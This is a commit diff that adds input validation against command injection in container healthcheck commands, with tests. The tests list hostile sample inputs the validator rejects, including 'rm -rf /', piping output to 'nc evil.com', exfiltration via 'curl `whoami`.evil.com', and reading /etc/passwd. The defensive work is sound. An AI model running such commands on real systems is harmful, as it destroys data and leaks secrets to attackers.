fix(health-checks): sanitize and validate CMD healthcheck commands
- Add regex validation to restrict allowed characters (alphanumeric, spaces, and specific safe symbols) - Enforce maximum 1000 character limit on healthcheck commands - Strip newlines and carriage returns to prevent command injection - Change input field from textarea to text input in UI - Add warning callout about prohibited shell operators - Add comprehensive validation tests for both valid and malicious command patterns
This commit is contained in:
parent
65d4005493
commit
609cb4190e
5 changed files with 160 additions and 7 deletions
|
|
@ -2758,9 +2758,10 @@ private function generate_healthcheck_commands()
|
||||||
{
|
{
|
||||||
// Handle CMD type healthcheck
|
// Handle CMD type healthcheck
|
||||||
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
|
||||||
$this->full_healthcheck_url = $this->application->health_check_command;
|
$command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command);
|
||||||
|
$this->full_healthcheck_url = $command;
|
||||||
|
|
||||||
return $this->application->health_check_command;
|
return $command;
|
||||||
}
|
}
|
||||||
|
|
||||||
// HTTP type healthcheck (default)
|
// HTTP type healthcheck (default)
|
||||||
|
|
|
||||||
|
|
@ -19,7 +19,7 @@ class HealthChecks extends Component
|
||||||
#[Validate(['string', 'in:http,cmd'])]
|
#[Validate(['string', 'in:http,cmd'])]
|
||||||
public string $healthCheckType = 'http';
|
public string $healthCheckType = 'http';
|
||||||
|
|
||||||
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string'])]
|
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
|
||||||
public ?string $healthCheckCommand = null;
|
public ?string $healthCheckCommand = null;
|
||||||
|
|
||||||
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
|
||||||
|
|
@ -61,7 +61,7 @@ class HealthChecks extends Component
|
||||||
protected $rules = [
|
protected $rules = [
|
||||||
'healthCheckEnabled' => 'boolean',
|
'healthCheckEnabled' => 'boolean',
|
||||||
'healthCheckType' => 'string|in:http,cmd',
|
'healthCheckType' => 'string|in:http,cmd',
|
||||||
'healthCheckCommand' => 'nullable|string',
|
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||||
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
|
||||||
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
|
||||||
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
|
||||||
|
|
|
||||||
|
|
@ -52,11 +52,14 @@
|
||||||
</div>
|
</div>
|
||||||
@else
|
@else
|
||||||
{{-- CMD Healthcheck Fields --}}
|
{{-- CMD Healthcheck Fields --}}
|
||||||
|
<x-callout type="warning" title="Caution">
|
||||||
|
<p>This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.</p>
|
||||||
|
</x-callout>
|
||||||
<div class="flex flex-col gap-2">
|
<div class="flex flex-col gap-2">
|
||||||
<x-forms.textarea canGate="update" :canResource="$resource" id="healthCheckCommand"
|
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
|
||||||
label="Command"
|
label="Command"
|
||||||
placeholder="Example: pg_isready -U postgres Example: redis-cli ping Example: curl -f http://localhost:8080/health"
|
placeholder="pg_isready -U postgres"
|
||||||
helper="The command to run inside the container. It should exit with code 0 on success and non-zero on failure."
|
helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
|
||||||
:required="$healthCheckType === 'cmd'" />
|
:required="$healthCheckType === 'cmd'" />
|
||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
|
|
||||||
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
|
|
@ -0,0 +1,90 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Support\Facades\Validator;
|
||||||
|
|
||||||
|
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||||
|
|
||||||
|
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => null],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => $command],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
})->with([
|
||||||
|
'pg_isready -U postgres',
|
||||||
|
'redis-cli ping',
|
||||||
|
'curl -f http://localhost:8080/health',
|
||||||
|
'wget -q -O- http://localhost/health',
|
||||||
|
'mysqladmin ping -h 127.0.0.1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => $command],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
})->with([
|
||||||
|
'pg_isready; rm -rf /',
|
||||||
|
'redis-cli ping | nc evil.com 1234',
|
||||||
|
'curl http://localhost && curl http://evil.com',
|
||||||
|
'echo $(whoami)',
|
||||||
|
'cat /etc/passwd > /tmp/out',
|
||||||
|
'curl `whoami`.evil.com',
|
||||||
|
'cmd & background',
|
||||||
|
'echo "hello"',
|
||||||
|
"echo 'hello'",
|
||||||
|
'test < /etc/passwd',
|
||||||
|
'bash -c {echo,pwned}',
|
||||||
|
'curl http://evil.com#comment',
|
||||||
|
'echo $HOME',
|
||||||
|
"cmd\twith\ttabs",
|
||||||
|
"cmd\nwith\nnewlines",
|
||||||
|
]);
|
||||||
|
|
||||||
|
it('rejects invalid healthCheckType', function () {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckType' => 'exec'],
|
||||||
|
['healthCheckType' => 'string|in:http,cmd']
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts valid healthCheckType values', function ($type) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckType' => $type],
|
||||||
|
['healthCheckType' => 'string|in:http,cmd']
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
})->with(['http', 'cmd']);
|
||||||
|
|
@ -165,12 +165,69 @@
|
||||||
expect($validator->fails())->toBeFalse();
|
expect($validator->fails())->toBeFalse();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('generates CMD healthcheck command directly', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => 'pg_isready -U postgres',
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect($result)->toBe('pg_isready -U postgres');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('strips newlines from CMD healthcheck command', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect($result)->not->toContain("\n")
|
||||||
|
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Should fall through to HTTP path
|
||||||
|
expect($result)->toContain('curl -s -X');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||||
|
$rules = [
|
||||||
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||||
|
];
|
||||||
|
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||||
|
$rules
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||||
|
$rules = [
|
||||||
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||||
|
];
|
||||||
|
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||||
|
$rules
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||||
*/
|
*/
|
||||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||||
{
|
{
|
||||||
$defaults = [
|
$defaults = [
|
||||||
|
'health_check_type' => 'http',
|
||||||
|
'health_check_command' => null,
|
||||||
'health_check_method' => 'GET',
|
'health_check_method' => 'GET',
|
||||||
'health_check_scheme' => 'http',
|
'health_check_scheme' => 'http',
|
||||||
'health_check_host' => 'localhost',
|
'health_check_host' => 'localhost',
|
||||||
|
|
@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||||
$values = array_merge($defaults, $overrides);
|
$values = array_merge($defaults, $overrides);
|
||||||
|
|
||||||
$application = Mockery::mock(Application::class)->makePartial();
|
$application = Mockery::mock(Application::class)->makePartial();
|
||||||
|
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||||
|
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue